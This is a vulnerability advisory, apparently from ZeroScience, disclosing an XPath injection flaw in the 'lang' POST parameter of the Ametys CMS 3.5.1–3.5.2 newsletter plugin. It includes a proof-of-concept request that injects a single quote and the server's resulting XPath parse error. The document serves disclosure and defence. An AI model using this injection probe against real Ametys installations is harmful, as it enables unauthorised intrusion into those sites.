Ametys CMS 3.5.2 (lang parameter) XPath Injection Vulnerability
Vendor: Anyware Services
Product web page: http://www.ametys.org
Affected version: 3.5.2 and 3.5.1
Summary: Ametys is a Java-based open source CMS combining
rich content with an easy-to-use and intuitive interface.
Desc: Input passed via the 'lang' POST parameter in the
newsletter plugin is not properly sanitised before being
used to construct a XPath query for XML data. This can be
exploited to manipulate XPath queries by injecting arbitrary
XPath code.
Tested on: Microsoft Windows 7 Ultimate (EN) 32bit
Jetty 6.1.21
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2013-5162
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5162.php
24.11.2013
--
Request:
--------
POST /cms/plugins/newsletter/category/nodes HTTP/1.1
Host: 192.168.8.11:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.8.11:8080/cms/event/index.html
Content-Length: 137
Cookie: ametys.accept.non.supported.navigators=on; JSESSIONID=1na81i031qhdw; __utma=111872281.3880910164568079000.1385252858.1385252858.1385252858.1; __utmb=111872281.1.10.1385252858; __utmc=111872281; __utmz=111872281.1385252858.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
sitename=event&categoriesOnly=&debug=%255Bobject%2520Object%255D&userLocale=en&siteName=event&skin=demo&categoryID=root&lang=en'&node=root
Response:
---------
HTTP/1.1 500 Internal Server Error
Date: Sun, 24 Nov 2013 00:55:08 GMT
Content-Type: text/html; charset=utf-8
Server: Jetty(6.1.21)
Content-Length: 27280
...
...
org.apache.jackrabbit.spi.commons.query.xpath.ParseException:
Encountered "\'//element(*, ametys:page)[@ametys-internal:tags =\'" at line 1, column 68.
Was expecting one of:
"or" ...
"and" ...
"div" ...
"idiv" ...
"mod" ...
"*" ...
"return" ...
"to" ...
"where" ...
"intersect" ...
"union" ...
"except" ...
<Instanceof> ...
<Castable> ...
"/" ...
"//" ...
"=" ...
"is" ...
...
...